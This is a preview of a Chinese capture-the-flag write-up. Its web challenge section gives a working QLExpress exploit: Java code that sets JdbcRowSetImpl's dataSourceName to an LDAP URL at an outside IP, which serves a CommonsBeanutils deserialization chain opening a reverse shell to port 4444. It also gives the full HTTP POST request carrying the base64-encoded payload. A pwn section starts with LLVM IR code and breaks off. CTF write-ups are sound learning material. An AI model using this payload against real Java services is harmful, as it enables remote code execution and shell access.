文章预览
WEB 1 EzQl 分析 QLExpress触发任意setter和getter jdbcRowSetImpl打ldap打cb1.9.4即可 import com.sun.rowset.JdbcRowSetImpl;JdbcRowSetImpl a = new JdbcRowSetImpl();a.dataSourceName= "ldap://112.124.59.213:1389/Deserialize/CommonsBeanutils194/ReverseShell/112.124.59.213/4444" ;a.autoCommit= true ; http包 POST /ql HTTP/1.1 Content-Type : application/json Host : eci-2ze91xpcbnzj0bg2w169.cloudeci1.ichunqiu.com:8000 aW1wb3J0IGNvbS5zdW4ucm93c2V0LkpkYmNSb3dTZXRJbXBsO0pkYmNSb3dTZXRJbXBsIGEgPSBuZXcgSmRiY1Jvd1NldEltcGwoKTthLmRhdGFTb3VyY2VOYW1lPSJsZGFwOi8vMTEyLjEyNC41OS4yMTM6MTM4OS9EZXNlcmlhbGl6ZS9Db21tb25zQmVhbnV0aWxzMTk0L1JldmVyc2VTaGVsbC8xMTIuMTI0LjU5LjIxMy80NDQ0IjthLmF1dG9Db21taXQ9dHJ1ZTs\= PWN 1 babysign ; ModuleID = 'test.c' source_filename = "test.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [ 7 x i8] c "./flag\00" , align 1 @.addr = dso_loc
………………………………
